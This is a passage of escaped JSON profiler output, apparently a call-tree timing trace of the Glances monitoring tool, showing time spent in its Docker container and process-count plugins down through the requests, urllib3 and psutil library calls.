\"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.003921,\"attributes\": {\"cContainersPlugin\": 0.0039213210038724355, \"l252\": 0.0039213210038724355},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.003921,\"attributes\": {\"l256\": 0.0039213210038724355},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.003921,\"attributes\": {\"l248\": 0.0039213210038724355},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.003921,\"attributes\": {\"cDockerExtension\": 0.0039213210038724355, \"l260\": 0.0039213210038724355},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.003921,\"attributes\": {\"cContainerCollection\": 0.0039213210038724355, \"l1009\": 0.0039213210038724355},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.003921,\"attributes\": {\"cAPIClient\": 0.0039213210038724355, \"l212\": 0.0039213210038724355},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.003921,\"attributes\": {\"cAPIClient\": 0.0039213210038724355, \"l44\": 0.0039213210038724355},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.003921,\"attributes\": {\"cAPIClient\": 0.0039213210038724355, \"l246\": 0.0039213210038724355},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.003921,\"attributes\": {\"cAPIClient\": 0.0039213210038724355, \"l602\": 0.0039213210038724355},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.003921,\"attributes\": {\"cAPIClient\": 0.0039213210038724355, \"l575\": 0.0019900050028809346, \"l589\": 0.001931316000991501},\"children\": [{\"identifier\": \"prepare_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000457\",\"time\": 0.001990,\"attributes\": {\"cAPIClient\": 0.0019900050028809346, \"l484\": 0.0019900050028809346},\"children\": [{\"identifier\": \"prepare\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000351\",\"time\": 0.001990,\"attributes\": {\"cPreparedRequest\": 0.0019900050028809346, \"l367\": 0.0019900050028809346},\"children\": [{\"identifier\": \"prepare_url\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000409\",\"time\": 0.001990,\"attributes\": {\"cPreparedRequest\": 0.0019900050028809346, \"l473\": 0.0019900050028809346},\"children\": [{\"identifier\": \"_encode_params\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000106\",\"time\": 0.001990,\"attributes\": {\"l132\": 0.0019900050028809346},\"children\": [{\"identifier\": \"urlencode\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u00001003\",\"time\": 0.001990,\"attributes\": {\"l1054\": 0.0019900050028809346},\"children\": [{\"identifier\": \"quote_plus\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000954\",\"time\": 0.001990,\"attributes\": {\"l963\": 0.0019900050028809346},\"children\": [{\"identifier\": \"quote\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000900\",\"time\": 0.001990,\"attributes\": {\"l952\": 0.0019900050028809346},\"children\": [{\"identifier\": \"quote_from_bytes\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000976\",\"time\": 0.001990,\"attributes\": {\"l987\": 0.0019900050028809346},\"children\": [{\"identifier\": \"str.encode\\u0000<built-in>\\u00000\",\"time\": 0.001990,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001990,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.001931,\"attributes\": {\"cAPIClient\": 0.001931316000991501, \"l703\": 0.001931316000991501},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.001931,\"attributes\": {\"cUnixHTTPAdapter\": 0.001931316000991501, \"l644\": 0.001931316000991501},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.001931,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.001931316000991501, \"l787\": 0.001931316000991501},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.001931,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.001931316000991501, \"l534\": 0.001931316000991501},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.001931,\"attributes\": {\"cUnixHTTPConnection\": 0.001931316000991501, \"l585\": 0.001931316000991501},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001931,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.057995,\"attributes\": {\"cProcesscountPlugin\": 0.057995039998786524, \"l85\": 0.057995039998786524},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.057995,\"attributes\": {\"cGlancesProcesses\": 0.057995039998786524, \"l617\": 0.051995059999171644, \"l634\": 0.001999560001422651, \"l659\": 0.004000419998192228},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.051995,\"attributes\": {\"cGlancesProcesses\": 0.051995059999171644, \"l478\": 0.04399584399652667, \"l493\": 0.007999216002644971},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.043996,\"attributes\": {\"l1558\": 0.041995921994384844, \"l1559\": 0.0019999220021418296},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.007995,\"attributes\": {\"cProcess\": 0.00799528799689142, \"l579\": 0.00799528799689142},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997793995949905, \"l680\": 0.003997793995949905},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997793995949905, \"l1593\": 0.003997793995949905},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997793995949905, \"l1740\": 0.003997793995949905},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997793995949905, \"l1593\": 0.003997793995949905},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997793995949905, \"l382\": 0.003997793995949905},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003997793995949905, \"l1683\": 0.00199830000201473, \"l1689\": 0.0019994939939351752},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001998,\"attributes\": {\"l730\": 0.00199830000201473},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001998,\"attributes\": {\"l718\": 0.00199830000201473},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001998,\"attributes\": {\"l682\": 0.00199830000201473},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997615006985143, \"l939\": 0.001997615006985143},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997615006985143, \"l1593\": 0.001997615006985143},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997615006985143, \"l2052\": 0.001997615006985143},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997615006985143, \"l1593\": 0.001997615006985143},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997615006985143, \"l382\": 0.001997615006985143},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997615006985143, \"l1718\": 0.001997615006985143},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001998,\"attributes\": {\"l682\": 0.001997615006985143},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999878993956372, \"l391\": 0.001999878993956372},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.034001,\"attributes\": {\"cProcess\": 0.034000633997493424, \"l579\": 0.027999258003546856, \"l572\": 0.006001375993946567},\"children\": [{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999349970021285, \"l1079\": 0.0019999349970021285},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999349970021285, \"l1593\": 0.0019999349970021285},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999349970021285, \"l1835\": 0.0019999349970021285},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017470014863648, \"l836\": 0.0020017470014863648},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017470014863648, \"l1593\": 0.0020017470014863648},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017470014863648, \"l1796\": 0.0020017470014863648},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020017470014863648},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002003061003051698, \"l382\": 0.002003061003051698},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002003061003051698, \"l1138\": 0.002003061003051698},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002003061003051698, \"l1593\": 0.002003061003051698},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002003061003051698, \"l1878\": 0.002003061003051698},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002003,\"attributes\": {\"l682\": 0.002003061003051698},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972699956269935, \"l939\": 0.0019972699956269935},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972699956269935, \"l1593\": 0.0019972699956269935},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972699956269935, \"l2052\": 0.0019972699956269935},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972699956269935, \"l1593\": 0.0019972699956269935},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972699956269935, \"l382\": 0.0019972699956269935},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972699956269935, \"l1718\": 0.0019972699956269935},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001997,\"attributes\": {\"l682\": 0.0019972699956269935},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997543004108593, \"l680\": 0.001997543004108593},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997543004108593, \"l1593\": 0.001997543004108593},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997543004108593, \"l1740\": 0.001997543004108593},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997543004108593, \"l1593\": 0.001997543004108593},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997543004108593, \"l382\": 0.001997543004108593},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997543004108593, \"l1689\": 0.001997543004108593},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.002000335996854119, \"l148\": 0.002000335996854119},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000335996854119, \"l543\": 0.002000335996854119},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000335996854119, \"l1734\": 0.002000335996854119},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002000,\"attributes\": {\"l404\": 0.002000335996854119},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020510055474006, \"l680\": 0.0020020510055474006},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020510055474006, \"l1593\": 0.0020020510055474006},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020510055474006, \"l1740\": 0.0020020510055474006},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020510055474006, \"l1593\": 0.0020020510055474006},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020510055474006, \"l382\": 0.0020020510055474006},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020510055474006, \"l1683\": 0.0020020510055474006},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.0020020510055474006},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l719\": 0.0020020510055474006},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999115993385203, \"l812\": 0.001999115993385203},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999115993385203, \"l1593\": 0.001999115993385203},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999115993385203, \"l2268\": 0.001999115993385203},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.001999528001761064, \"l141\": 0.001999528001761064},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999528001761064, \"l505\": 0.001999528001761064},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010730004287325, \"l382\": 0.0020010730004287325},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010730004287325, \"l1138\": 0.0020010730004287325},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010730004287325, \"l1593\": 0.0020010730004287325},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010730004287325, \"l1880\": 0.0020010730004287325},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983950041932985, \"l680\": 0.0019983950041932985},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983950041932985, \"l1593\": 0.0019983950041932985},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983950041932985, \"l1740\": 0.0019983950041932985},\"children\": [{\"identifier\": \"decode\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000757\",\"time\": 0.001998,\"attributes\": {\"l758\": 0.0019983950041932985},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200345699704485, \"l836\": 0.00200345699704485},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200345699704485, \"l1593\": 0.00200345699704485},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200345699704485, \"l1799\": 0.00200345699704485},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.0039994190010474995, \"l382\": 0.0039994190010474995},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998913001443725, \"l1138\": 0.001998913001443725},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998913001443725, \"l1593\": 0.001998913001443725},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998913001443725, \"l1878\": 0.001998913001443725},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.001998913001443725},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019974870010628365, \"l1064\": 